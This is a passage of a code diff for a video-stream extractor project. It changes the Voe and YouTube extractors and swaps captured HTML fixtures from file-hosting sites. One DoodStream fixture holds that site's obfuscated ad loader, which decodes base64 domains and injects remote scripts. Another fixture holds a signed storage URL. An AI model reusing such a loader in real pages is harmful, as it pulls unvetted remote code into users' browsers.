|
||||
|
||||
const html = await this.fetcher.text(ctx, url, { headers });
|
||||
let html: string;
|
||||
try {
|
||||
html = await this.fetcher.text(ctx, url, { headers });
|
||||
} catch (error) {
|
||||
/* istanbul ignore next */
|
||||
if (error instanceof NotFoundError && !url.href.includes('/e/')) {
|
||||
return await this.extractInternal(ctx, new URL(`/e${url.pathname}`, url.origin), meta);
|
||||
}
|
||||
|
||||
/* istanbul ignore next */
|
||||
throw error;
|
||||
}
|
||||
|
||||
const redirectMatch = html.match(/window\.location\.href\s*=\s*'([^']+)/);
|
||||
if (redirectMatch && redirectMatch[1]) {
|
||||
|
|
@ -135,22 +155,24 @@ export class Voe extends Extractor {
|
|||
const title = $('meta[name="description"]').attr('content')?.trim().replace(/^Watch /, '').replace(/ at VOE$/, '').trim();
|
||||
|
||||
const sizeMatch = html.matchAll(/[\d.]+ ?[GM]B/g).toArray().at(-1);
|
||||
const heightMatch = html.match(/<b>(\d{3,})p<\/b>/);
|
||||
const size = sizeMatch ? bytes.parse(sizeMatch[0] as string) as number : /* istanbul ignore next */null;
|
||||
|
||||
const playlistUrl = await buildMediaFlowProxyExtractorStreamUrl(ctx, this.fetcher, 'Voe', url, headers);
|
||||
|
||||
const heightMatch = html.match(/<b>(\d{3,})p<\/b>/);
|
||||
const height = heightMatch
|
||||
? parseInt(heightMatch[1] as string)
|
||||
: meta.height ?? await guessHeightFromPlaylist(ctx, this.fetcher, playlistUrl);
|
||||
|
||||
return [
|
||||
{
|
||||
url: playlistUrl,
|
||||
format: Format.hls,
|
||||
label: this.label,
|
||||
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
|
||||
ttl: this.ttl,
|
||||
meta: {
|
||||
...meta,
|
||||
height,
|
||||
title,
|
||||
...(sizeMatch && { bytes: bytes.parse(sizeMatch[0] as string) as number }),
|
||||
...(heightMatch && { height: parseInt(heightMatch[1] as string) }),
|
||||
...(size && size > 16777216 && { bytes: size }),
|
||||
},
|
||||
},
|
||||
];
|
||||
|
|
|
|||
|
|
@ -1,4 +1,4 @@
|
|||
import { Context, Format, Meta, UrlResult } from '../types';
|
||||
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||
import { Extractor } from './Extractor';
|
||||
|
||||
export class YouTube extends Extractor {
|
||||
|
|
@ -12,7 +12,7 @@ export class YouTube extends Extractor {
|
|||
return null !== url.host.match(/youtube/) && url.searchParams.has('v');
|
||||
}
|
||||
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||
const headers = { Referer: meta.referer ?? url.href };
|
||||
|
||||
const html = await this.fetcher.text(ctx, url, { headers });
|
||||
|
|
@ -24,9 +24,6 @@ export class YouTube extends Extractor {
|
|||
url,
|
||||
format: Format.unknown,
|
||||
ytId: url.searchParams.get('v') as string,
|
||||
label: this.label,
|
||||
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
|
||||
ttl: this.ttl,
|
||||
meta: {
|
||||
...meta,
|
||||
title: titleMatch[1] as string,
|
||||
|
|
|
|||
|
|
@ -1 +0,0 @@
|
|||
{"server":"nginx","date":"Sun, 08 Jun 2025 19:20:59 GMT","content-type":"video/mp4","content-length":791702409,"last-modified":"Wed, 03 Apr 2024 09:53:31 GMT","connection":"keep-alive","etag":"660d271b-2f306b89","access-control-allow-origin":"*","accept-ranges":"bytes"}
|
||||
|
|
@ -1 +0,0 @@
|
|||
{}
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
|
|
@ -1 +1,2 @@
|
|||
<!doctype html><html lang="en"><head> <meta charset="utf-8"> <title>Video not found | DoodStream</title> <link rel="preconnect" href="//i.doodcdn.io"><link rel="preconnect" href="//cdnjs.cloudflare.com"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script> <link rel="stylesheet" href="//i.doodcdn.io/theme_2/css/bootstrap.min.css"> <link rel="stylesheet" type="text/css" href="//i.doodcdn.io/theme_2/css/style.css" /></head><body> <style type="text/css"> .not_found img {height:250px !important;} @media (max-width: 768px){.not_found h1{font-size:1.8rem;}.not_found img {height:200px !important;margin: 0 auto 15px;}} @media (max-width: 480px){.not_found h1{font-size:1.4rem;}.not_found img {height:120px !important;margin: 0 auto 15px;}.not_found p{margin-top: -5px;}} </style> <div class="container pt-5 not_found"> <div class="row"> <div class="col-md-12 pt-2 text-center"> <img src="//i.doodcdn.io/img/no_video_3.svg"> <h1>Not Found</h1> <p>video you are looking for is not found.</p> </div> </div> </div><script data-cfasync="false" src="//d1f05vr3sjsuy7.cloudfront.net/?srvfd=908056"></script><script data-cfasync="false" async type="text/javascript" src="//faqirsgoliard.top/gHzOaAdOhbZ/71405"></script><script data-cfasync="false" async type="text/javascript" src="//faqirsgoliard.top/r67c0fc81985e5/70849"></script><script type="text/javascript" data-cfasync="false">/*<![CDATA[/* */(function(){var g=window,r="ca0967284e67bc53cb5b626985619403",w=[["siteId",317+185*82*507-3600486],["minBid",0],["popundersPerIP","0"],["delayBetween",300],["default","https://strettechoco.com/iYa7dlULceKw/27615"],["defaultPerDay",0],["topmostLayer","never"]],n=["d3d3LmJsb2NrYWRzbm90LmNvbS9iYWphLm1pbi5jc3M=","ZG5oZmk1bm4yZHQ2Ny5jbG91ZGZyb250Lm5ldC9RVHd0eC91YWxnZWJyYS5taW4uanM=","d3d3LmJibHZwbGd1b21hLmNvbS9mYWphLm1pbi5jc3M=","d3d3LndqZ3BzcGt4empiZGd1LmNvbS9NTmlIWS9rYWxnZWJyYS5taW4uanM="],f=-1,v,q,h=function(){clearTimeout(q);f++;if(n[f]&&!(1766620801000<(new Date).getTime()&&1<f)){v=g.document.createElement("script");v.type="text/javascript";v.async=!0;var o=g.document.getElementsByTagName("script")[0];v.src="https://"+atob(n[f]);v.crossOrigin="anonymous";v.onerror=h;v.onload=function(){clearTimeout(q);g[r.slice(0,16)+r.slice(0,16)]||h()};q=setTimeout(h,5E3);o.parentNode.insertBefore(v,o)}};if(!g[r]){try{Object.freeze(g[r]=w)}catch(e){}h()}})();/*]]>/* */</script></body></html>
|
||||
<!doctype html><html lang="en"><head> <meta charset="utf-8"> <title>Video not found | DoodStream</title> <link rel="preconnect" href="//i.doodcdn.io"><link rel="preconnect" href="//cdnjs.cloudflare.com"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script> <link rel="stylesheet" href="//i.doodcdn.io/theme_2/css/bootstrap.min.css"> <link rel="stylesheet" type="text/css" href="//i.doodcdn.io/theme_2/css/style.css" /></head><body> <style type="text/css"> .not_found img {height:250px !important;} @media (max-width: 768px){.not_found h1{font-size:1.8rem;}.not_found img {height:200px !important;margin: 0 auto 15px;}} @media (max-width: 480px){.not_found h1{font-size:1.4rem;}.not_found img {height:120px !important;margin: 0 auto 15px;}.not_found p{margin-top: -5px;}} </style> <div class="container pt-5 not_found"> <div class="row"> <div class="col-md-12 pt-2 text-center"> <img src="//i.doodcdn.io/img/no_video_3.svg"> <h1>Not Found</h1> <p>video you are looking for is not found.</p> </div> </div> </div><script data-cfasync="false" src="//d1f05vr3sjsuy7.cloudfront.net/?srvfd=908056"></script><script data-cfasync="false" async type="text/javascript" src="//faqirsgoliard.top/gHzOaAdOhbZ/71405"></script><script data-cfasync="false" async type="text/javascript" src="//faqirsgoliard.top/r67c0fc81985e5/70849"></script><script type="text/javascript" data-cfasync="false">/*<![CDATA[/* */(function(){var g=window,r="ca0967284e67bc53cb5b626985619403",w=[["siteId",317+185*82*507-3600486],["minBid",0],["popundersPerIP","0"],["delayBetween",300],["default","https://strettechoco.com/iYa7dlULceKw/27615"],["defaultPerDay",0],["topmostLayer","never"]],n=["d3d3LmJsb2NrYWRzbm90LmNvbS9iYWphLm1pbi5jc3M=","ZG5oZmk1bm4yZHQ2Ny5jbG91ZGZyb250Lm5ldC9RVHd0eC91YWxnZWJyYS5taW4uanM=","d3d3LmJibHZwbGd1b21hLmNvbS9mYWphLm1pbi5jc3M=","d3d3LndqZ3BzcGt4empiZGd1LmNvbS9NTmlIWS9rYWxnZWJyYS5taW4uanM="],f=-1,v,q,h=function(){clearTimeout(q);f++;if(n[f]&&!(1766620801000<(new Date).getTime()&&1<f)){v=g.document.createElement("script");v.type="text/javascript";v.async=!0;var o=g.document.getElementsByTagName("script")[0];v.src="https://"+atob(n[f]);v.crossOrigin="anonymous";v.onerror=h;v.onload=function(){clearTimeout(q);g[r.slice(0,16)+r.slice(0,16)]||h()};q=setTimeout(h,5E3);o.parentNode.insertBefore(v,o)}};if(!g[r]){try{Object.freeze(g[r]=w)}catch(e){}h()}})();/*]]>/* */</script><script defer src="https://static.cloudflareinsights.com/beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015" integrity="sha512-ZpsOmlRQV6y907TI0dKBHq9Md29nnaEIPlkf84rnaERnq6zvWvPUqr2ft8M1aS28oN72PdrCzSjY4U6VaAw1EQ==" data-cf-beacon='{"version":"2024.11.0","token":"1c76230f8ab248eab0b0f2bf7c205c51","server_timing":{"name":{"cfCacheStatus":true,"cfEdge":true,"cfExtPri":true,"cfL4":true,"cfOrigin":true,"cfSpeedBrain":true},"location_startswith":null}}' crossorigin="anonymous"></script>
|
||||
</body></html>
|
||||
File diff suppressed because one or more lines are too long
|
|
@ -1 +0,0 @@
|
|||
<!doctype html><html lang="en"><head> <meta charset="utf-8"> <title>Video not found | DoodStream</title> <link rel="preconnect" href="//i.doodcdn.io"><link rel="preconnect" href="//cdnjs.cloudflare.com"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script> <link rel="stylesheet" href="//i.doodcdn.io/theme_2/css/bootstrap.min.css"> <link rel="stylesheet" type="text/css" href="//i.doodcdn.io/theme_2/css/style.css" /></head><body> <style type="text/css"> .not_found img {height:250px !important;} @media (max-width: 768px){.not_found h1{font-size:1.8rem;}.not_found img {height:200px !important;margin: 0 auto 15px;}} @media (max-width: 480px){.not_found h1{font-size:1.4rem;}.not_found img {height:120px !important;margin: 0 auto 15px;}.not_found p{margin-top: -5px;}} </style> <div class="container pt-5 not_found"> <div class="row"> <div class="col-md-12 pt-2 text-center"> <img src="//i.doodcdn.io/img/no_video_3.svg"> <h1>Not Found</h1> <p>video you are looking for is not found.</p> </div> </div> </div><script data-cfasync="false" src="//d1f05vr3sjsuy7.cloudfront.net/?srvfd=908056"></script><script data-cfasync="false" async type="text/javascript" src="//faqirsgoliard.top/gHzOaAdOhbZ/71405"></script><script data-cfasync="false" async type="text/javascript" src="//faqirsgoliard.top/r67c0fc81985e5/70849"></script><script type="text/javascript" data-cfasync="false">/*<![CDATA[/* */(function(){var g=window,r="ca0967284e67bc53cb5b626985619403",w=[["siteId",317+185*82*507-3600486],["minBid",0],["popundersPerIP","0"],["delayBetween",300],["default","https://strettechoco.com/iYa7dlULceKw/27615"],["defaultPerDay",0],["topmostLayer","never"]],n=["d3d3LmJsb2NrYWRzbm90LmNvbS9iYWphLm1pbi5jc3M=","ZG5oZmk1bm4yZHQ2Ny5jbG91ZGZyb250Lm5ldC9RVHd0eC91YWxnZWJyYS5taW4uanM=","d3d3LmJibHZwbGd1b21hLmNvbS9mYWphLm1pbi5jc3M=","d3d3LndqZ3BzcGt4empiZGd1LmNvbS9NTmlIWS9rYWxnZWJyYS5taW4uanM="],f=-1,v,q,h=function(){clearTimeout(q);f++;if(n[f]&&!(1766620801000<(new Date).getTime()&&1<f)){v=g.document.createElement("script");v.type="text/javascript";v.async=!0;var o=g.document.getElementsByTagName("script")[0];v.src="https://"+atob(n[f]);v.crossOrigin="anonymous";v.onerror=h;v.onload=function(){clearTimeout(q);g[r.slice(0,16)+r.slice(0,16)]||h()};q=setTimeout(h,5E3);o.parentNode.insertBefore(v,o)}};if(!g[r]){try{Object.freeze(g[r]=w)}catch(e){}h()}})();/*]]>/* */</script></body></html>
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
|
|
@ -1 +0,0 @@
|
|||
https://ee317r.cloudatacdn.com/u5kj63yvxddlsdgge7qremqqka27irwiupc4k7o5cikbhjliz6xwv2xr53uq/lco4d3heif~
|
||||
|
|
@ -1 +0,0 @@
|
|||
https://wec6bnh7rx7rw11bv9e9vslw4rud8nam.5f1ebd98099ce35faeeddb30c1752191.r2.cloudflarestorage.com/icxxqqdsfdc4?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ab085b515b950aae0a86cae59456cacd%2F20250714%2Fauto%2Fs3%2Faws4_request&X-Amz-Date=20250714T154400Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Signature=845ebfa5feedd840027e431f31e013513dd4c4f74364b4e75a2c8ddb213bd97a
|
||||
|
|
@ -1 +0,0 @@
|
|||
https://aa360cc.cloudatacdn.com/u5kjv4jxytd3sdgge5uogji5dg4huat2pxrm2qibdbm5rlyusvl46iz3u3ta/1f4isxg0tw~
|
||||
230
src/extractor/__fixtures__/Fastream/https:fastream.toda9rp1d1pqom7.html
generated
Normal file
230
src/extractor/__fixtures__/Fastream/https:fastream.toda9rp1d1pqom7.html
generated
Normal file
|
|
@ -0,0 +1,230 @@
|
|||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<title>Fastream</title>
|
||||
|
||||
|
||||
|
||||
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
|
||||
<meta name="theme-color" content="#FFF">
|
||||
<link rel="apple-touch-icon" href="https://fastream.to/images2/favicon/apple-touch-icon.png" sizes="180x180">
|
||||
<link rel="icon" href="https://fastream.to/images2/favicon/favicon-32x32.png" sizes="32x32">
|
||||
<link rel="icon" href="https://fastream.to/images2/favicon/favicon-16x16.png" sizes="16x16">
|
||||
<link rel="manifest" href="https://fastream.to/images2/favicon/site.webmanifest" crossorigin="use-credentials">
|
||||
<link rel="icon" href="https://fastream.to/images2/favicon/favicon.ico">
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
||||
<link href="https://fonts.googleapis.com/css2?family=Manrope:wght@400..800&display=swap" rel="stylesheet">
|
||||
<link href="https://fastream.to/css2/bootstrap.css?" rel="stylesheet">
|
||||
|
||||
<link href="https://fastream.to/css2/style.css?" rel="stylesheet">
|
||||
|
||||
<script src="https://fastream.to/js2/jquery.min.js?"></script>
|
||||
<script src="https://fastream.to/js2/bootstrap.bundle.min.js?"></script>
|
||||
<script src="https://fastream.to/js2/app.js?aс1"></script>
|
||||
<script src="https://fastream.to/js2/xupload.js?aс1"></script>
|
||||
|
||||
</head>
|
||||
<body class="">
|
||||
|
||||
|
||||
|
||||
|
||||
<header class="header">
|
||||
<div class="container">
|
||||
<div class="row header-row align-items-center flex-nowrap">
|
||||
<div class="col-auto flex-grow-1 flex-shrink-1">
|
||||
<div class="row align-items-center">
|
||||
<div class="col-auto d-lg-none">
|
||||
<div class="dropdown">
|
||||
<button class="btn icon-btn" data-bs-toggle="dropdown" data-bs-offset="0, 16">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" width="22" height="16" viewBox="0 0 22 16">
|
||||
<path d="M0 0h22v2H0V0zm0 7h22v2H0V7zm0 7h22v2H0v-2z"></path>
|
||||
</svg>
|
||||
</button>
|
||||
<ul class="dropdown-menu dropdown-menu-end">
|
||||
|
||||
<a href="/premium" class="dropdown-item">Premium</a>
|
||||
|
||||
<a href="/make_money" class="dropdown-item">Make Money</a>
|
||||
<a href="/check_files" class="dropdown-item">Link Checker</a>
|
||||
|
||||
<a href="/api.html" class="dropdown-item">API</a>
|
||||
<a href="/tos" class="dropdown-item">Terms of service</a>
|
||||
|
||||
<a href="/contact" class="dropdown-item">Contact Us</a>
|
||||
<a href="/faq" class="dropdown-item">FAQ</a>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-auto me-lg-4">
|
||||
<a href="/" class="logo">
|
||||
<img src="https://fastream.to/images2/logo.svg?" alt="">
|
||||
</a>
|
||||
</div>
|
||||
<div class="col-auto d-none d-lg-block">
|
||||
<nav class="nav">
|
||||
|
||||
|
||||
<a class="nav-link link-body-emphasis" href="/premium">Premium</a>
|
||||
|
||||
<a class="nav-link link-body-emphasis" href="/make_money">Make Money</a>
|
||||
</nav>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="col-auto">
|
||||
<div class="dropdown header-lang">
|
||||
<button type="button" class="btn icon-btn" data-bs-toggle="dropdown" data-bs-offset="0, 16">
|
||||
<img src="https://fastream.to/images2/flags/english.svg" alt="">
|
||||
</button>
|
||||
<div class="dropdown-menu">
|
||||
<a href="/?op=change_lang&lang=English" class="dropdown-item"><img src="https://fastream.to/images2/flags/english.svg" alt="">English</a>
|
||||
<a href="/?op=change_lang&lang=Russian" class="dropdown-item"><img src="https://fastream.to/images2/flags/russian.svg" alt="">Russian</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="col-auto d-none d-lg-block">
|
||||
<a href="/login.html" class="btn me-2 login-btn link-body-emphasis">Login</a>
|
||||
<a href="/?op=registration" class="btn btn-primary reg-btn">Sign Up</a>
|
||||
</div>
|
||||
<div class="col-auto d-lg-none">
|
||||
<div class="dropdown">
|
||||
<button class="btn icon-btn" data-bs-toggle="dropdown" data-bs-offset="0, 16">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" width="22" height="22" viewBox="0 0 22 22">
|
||||
<path d="M11 22C4.9 22 0 17.1 0 11S4.9 0 11 0s11 4.9 11 11-4.9 11-11 11zm0-20c-5 0-9 4-9 9s4 9 9 9 9-4 9-9-4-9-9-9z"></path>
|
||||
<path d="M11 15.3c-3 0-5.4-2.4-5.4-5.4S8 4.4 11 4.4s5.4 2.4 5.4 5.4-2.4 5.5-5.4 5.5zm0-8.9c-1.9 0-3.4 1.5-3.4 3.4s1.5 3.4 3.4 3.4 3.4-1.5 3.4-3.4-1.5-3.4-3.4-3.4z"></path>
|
||||
<path d="M4.9 19.8c-.2 0-.3 0-.5-.1-.5-.3-.6-.9-.4-1.4 1.5-2.5 3.9-3.8 7-3.8s5.5 1.3 7 3.8c.3.5.1 1.1-.3 1.4-.5.3-1.1.1-1.4-.3-1.1-1.9-2.9-2.8-5.2-2.8-2.4 0-4.1.9-5.3 2.8-.2.2-.6.4-.9.4z"></path>
|
||||
</svg>
|
||||
</button>
|
||||
<div class="dropdown-menu dropdown-menu-end">
|
||||
<a class="dropdown-item" href="/login.html">Login</a>
|
||||
<a class="dropdown-item" href="/?op=registration">Sign Up</a>
|
||||
<a class="dropdown-item" href="/?op=forgot_pass">Forgot your password?</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
|
||||
|
||||
|
||||
<main>
|
||||
|
||||
<div class="container">
|
||||
|
||||
<div class="alert alert-danger" role="alert">
|
||||
No such file=a9rp1d1pqom7
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
</main>
|
||||
|
||||
|
||||
<footer class="footer">
|
||||
<div class="container">
|
||||
<div class="footer-main">
|
||||
<div class="row justify-content-center justify-content-lg-start">
|
||||
<div class="col-12 col-lg-4 col-xl-3 text-center text-lg-start">
|
||||
<div class="mb-4">
|
||||
<a href="https://fastream.to/" class="logo">
|
||||
<img src="https://fastream.to/images2/logo-w.svg?" alt="">
|
||||
</a>
|
||||
</div>
|
||||
<div class="mb-2 text-uppercase"><!--Share us: --></div>
|
||||
<div class="mb-3">
|
||||
<!--span class="me-1">
|
||||
<a href="#"><img src="https://fastream.to/images2/social/fb.svg" alt=""></a>
|
||||
</span>
|
||||
<span class="me-1">
|
||||
<a href="#"><img src="https://fastream.to/images2/social/red.svg" alt=""></a>
|
||||
</span>
|
||||
<span class="me-1">
|
||||
<a href="#"><img src="https://fastream.to/images2/social/wha.svg" alt=""></a>
|
||||
</span>
|
||||
<span class="me-1">
|
||||
<a href="#"><img src="https://fastream.to/images2/social/x.svg" alt=""></a>
|
||||
</span>
|
||||
<span class="me-1">
|
||||
<a href="#"><img src="https://fastream.to/images2/social/msg.svg" alt=""></a>
|
||||
</span>
|
||||
<span class="me-1">
|
||||
<a href="#"><img src="https://fastream.to/images2/social/in.svg" alt=""></a>
|
||||
</span-->
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-lg-8 col-xl-7 d-none d-lg-block">
|
||||
<div class="row">
|
||||
<div class="col">
|
||||
<div class="text-uppercase text-dark large">Info</div>
|
||||
<div class="nav flex-column">
|
||||
<a href="https://fastream.to/" class="nav-link">Home</a>
|
||||
<a href="/api.html" class="nav-link">API</a>
|
||||
<a href="/tos" class="nav-link">Terms of service</a>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<div class="col">
|
||||
<div class="text-uppercase text-dark large">Features</div>
|
||||
<div class="nav flex-column">
|
||||
|
||||
<a href="/premium" class="nav-link">Premium</a>
|
||||
|
||||
<a href="/make_money" class="nav-link">Make Money</a>
|
||||
<a href="/check_files" class="nav-link">Link Checker</a>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<div class="col">
|
||||
<div class="text-uppercase text-dark large">Support</div>
|
||||
<div class="nav flex-column">
|
||||
<a href="/contact" class="nav-link">Contact Us</a>
|
||||
<a href="/faq" class="nav-link">FAQ</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="col-xl-auto text-nowrap text-end d-none d-xl-block">
|
||||
<a href="https://fastream.to/login.html" class="btn btn-light login-btn me-2">Login</a>
|
||||
<a href="https://fastream.to/?op=registration" class="btn btn-primary reg-btn">Sign Up</a>
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="footer-bottom small">
|
||||
<div class="container">
|
||||
<div class="row align-items-center justify-content-between">
|
||||
<div class="col-auto">
|
||||
<div class="text-muted">© 2024 Fastream</div>
|
||||
</div>
|
||||
<div class="col-auto">
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</footer>
|
||||
|
||||
|
||||
|
||||
<div style ="display:none"><script id="_wau1xg">var _wau = _wau || []; _wau.push(["classic", "y7jk20u14x", "1xg"]);</script><script async src="//waust.at/c.js"></script></div>
|
||||
|
||||
<script>(function(){function c(){var b=a.contentDocument||a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'993a4e2d4ac5d2ab',t:'MTc2MTMxNzYyMw=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body>
|
||||
</html>
|
||||
145
src/extractor/__fixtures__/FileLions/https:callistanise.comfcy4t5nkerjrt
generated
Normal file
145
src/extractor/__fixtures__/FileLions/https:callistanise.comfcy4t5nkerjrt
generated
Normal file
|
|
@ -0,0 +1,145 @@
|
|||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<title>
|
||||
|
||||
Watch 300938 570f5a24 c281 484d 93fa 734dabbec813 jkgg 2651705 vidhide mp4
|
||||
|
||||
</title>
|
||||
<META NAME="description" CONTENT="">
|
||||
<META NAME="keywords" CONTENT="">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
|
||||
<meta name="theme-color" content="#FFF">
|
||||
|
||||
<link rel="apple-touch-icon" href="/static/images/favicon/apple-touch-icon.png" sizes="180x180">
|
||||
<link rel="icon" href="/static/images/favicon/favicon-32x32.png" sizes="32x32">
|
||||
<link rel="icon" href="/static/images/favicon/favicon-16x16.png" sizes="16x16">
|
||||
<link rel="manifest" href="/static/images/favicon/manifest.json">
|
||||
<link rel="icon" href="/static/images/favicon/favicon.ico">
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin="crossorigin">
|
||||
<link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;500;700&display=swap" rel="stylesheet">
|
||||
<link href="/static/css/style.css?" rel="stylesheet">
|
||||
|
||||
<script src="/static/js/jquery-3.2.1.min.js?"></script>
|
||||
<script src="/static/js/bootstrap.bundle.min.js?"></script>
|
||||
<script src="/static/js/app.js?"></script>
|
||||
<script src="/static/js/xupload.js?"></script>
|
||||
|
||||
|
||||
<!-- Google tag (gtag.js) -->
|
||||
<script async src="https://www.googletagmanager.com/gtag/js?id=G-48ZJD1VPGZ"></script>
|
||||
<script>
|
||||
window.dataLayer = window.dataLayer || [];
|
||||
function gtag(){dataLayer.push(arguments);}
|
||||
gtag('js', new Date());
|
||||
|
||||
gtag('config', 'G-48ZJD1VPGZ');
|
||||
</script>
|
||||
<!-- Yandex.Metrika counter -->
|
||||
<script type="text/javascript" >
|
||||
(function(m,e,t,r,i,k,a){m[i]=m[i]||function(){(m[i].a=m[i].a||[]).push(arguments)};
|
||||
m[i].l=1*new Date();
|
||||
for (var j = 0; j < document.scripts.length; j++) {if (document.scripts[j].src === r) { return; }}
|
||||
k=e.createElement(t),a=e.getElementsByTagName(t)[0],k.async=1,k.src=r,a.parentNode.insertBefore(k,a)})
|
||||
(window, document, "script", "https://mc.yandex.ru/metrika/tag.js", "ym");
|
||||
|
||||
ym(93381808, "init", {
|
||||
clickmap:true,
|
||||
trackLinks:true,
|
||||
accurateTrackBounce:true,
|
||||
webvisor:true
|
||||
});
|
||||
</script>
|
||||
<noscript><div><img src="https://mc.yandex.ru/watch/93381808" style="position:absolute; left:-9999px;" alt="" /></div></noscript>
|
||||
<!-- /Yandex.Metrika counter -->
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<header class="header">
|
||||
<div class="container">
|
||||
<div class="row align-items-center flex-nowrap">
|
||||
<div class="col-auto flex-grow-1 flex-shrink-1">
|
||||
<div class="row align-items-center">
|
||||
|
||||
<div class="col-auto" style="margin: 0 auto;">
|
||||
<a href="/" class="logo">
|
||||
|
||||
<img src="/static/images/logo.svg" alt="">
|
||||
|
||||
</a>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
|
||||
<main>
|
||||
<section class="section">
|
||||
<div class="container">
|
||||
<div class="block">
|
||||
<div class="mb-3">
|
||||
The file was deleted by administration because it didn't comply with our Terms of Use:
|
||||
</div>
|
||||
<h4>
|
||||
300938--570f5a24-c281-484d-93fa-734dabbec813--jkgg--2651705-vidhide.mp4
|
||||
</h4>
|
||||
<br>
|
||||
Reason for deletion: <br>
|
||||
<b class="text-danger">
|
||||
DMCA request
|
||||
</b>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
</main>
|
||||
<footer class="footer">
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-lg-4 col-xs-12">
|
||||
<div class="mb-3 text-center">
|
||||
<a href="#" class="logo">
|
||||
|
||||
<img src="/static/images/logo.svg" alt="">
|
||||
|
||||
</a>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="col-lg-8 col-xs-12" style="position: relative">
|
||||
<div class="mb-4 text-center">
|
||||
<p class="text-muted ">
|
||||
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</footer>
|
||||
<style>
|
||||
@media (min-width:481px) {
|
||||
.text-muted {}
|
||||
}
|
||||
|
||||
@media (min-width:961px) {
|
||||
.text-muted {
|
||||
position: absolute;
|
||||
right: 0;
|
||||
top: 15px
|
||||
}
|
||||
}
|
||||
</style>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
|
||||
227
src/extractor/__fixtures__/FileMoon/https:filemoon.todugj7f1kq94p1
generated
Normal file
227
src/extractor/__fixtures__/FileMoon/https:filemoon.todugj7f1kq94p1
generated
Normal file
|
|
@ -0,0 +1,227 @@
|
|||
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<title>Watch tt0307453</title>
|
||||
<meta name="description" content="">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
|
||||
<meta name="theme-color" content="#FFF">
|
||||
|
||||
<link rel="apple-touch-icon" href="//filemoon.to/assets/images/favicon/apple-touch-icon.png" sizes="180x180">
|
||||
<link rel="icon" href="//filemoon.to/assets/images/favicon/favicon-32x32.png" sizes="32x32">
|
||||
<link rel="icon" href="//filemoon.to/assets/images/favicon/favicon-16x16.png" sizes="16x16">
|
||||
